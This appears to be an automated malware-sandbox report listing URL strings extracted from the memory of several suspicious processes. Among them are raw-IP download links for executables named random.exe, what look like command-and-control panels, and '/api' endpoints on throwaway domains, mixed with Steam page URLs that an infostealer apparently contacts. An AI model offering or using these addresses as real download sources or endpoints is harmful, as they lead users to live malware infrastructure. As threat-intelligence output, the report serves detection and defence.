Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpD
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe8
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exee
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exes
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/flava/random.exe
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/kosodium/random.exe
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/kosodium/random.exeQ
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3298021674.0000000000A08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe1S
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exeed
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: c1be3b2878.exe, 0000000C.00000002.2994959784.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.st
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 92732722ce.exe, 0000000D.00000002.3290025625.0000000000423000.00000002.00000001.01000000.0000000D.sdmp, 92732722ce.exe, 0000000D.00000003.2978753712.0000000002501000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: svchost.exe, 00000008.00000002.2803185148.000000000309C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: svchost.exe, 00000008.00000002.2803185148.000000000309C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou/api
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccn
Source: c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/as
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=foEB
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&l=e
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: c1be3b2878.exe, 0000000C.00000003.2929840021.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/
Source: c1be3b2878.exe, 0000000C.00000003.2929663473.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/api
Source: c1be3b2878.exe, 0000000C.00000003.2929840021.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/apij
Source: c1be3b2878.exe, 0000000C.00000002.2994959784.000000000093A000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.000000000093D000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz:443/api
Source: c1be3b2878.exe, 0000000C.00000003.2929663473.0000000000942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/
Source: c1be3b2878.exe, 0000000C.00000003.2929840021.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/api
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: c1be3b2878.exe, 0000000C.00000002.2994959784.00000000008FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/api
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/T
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
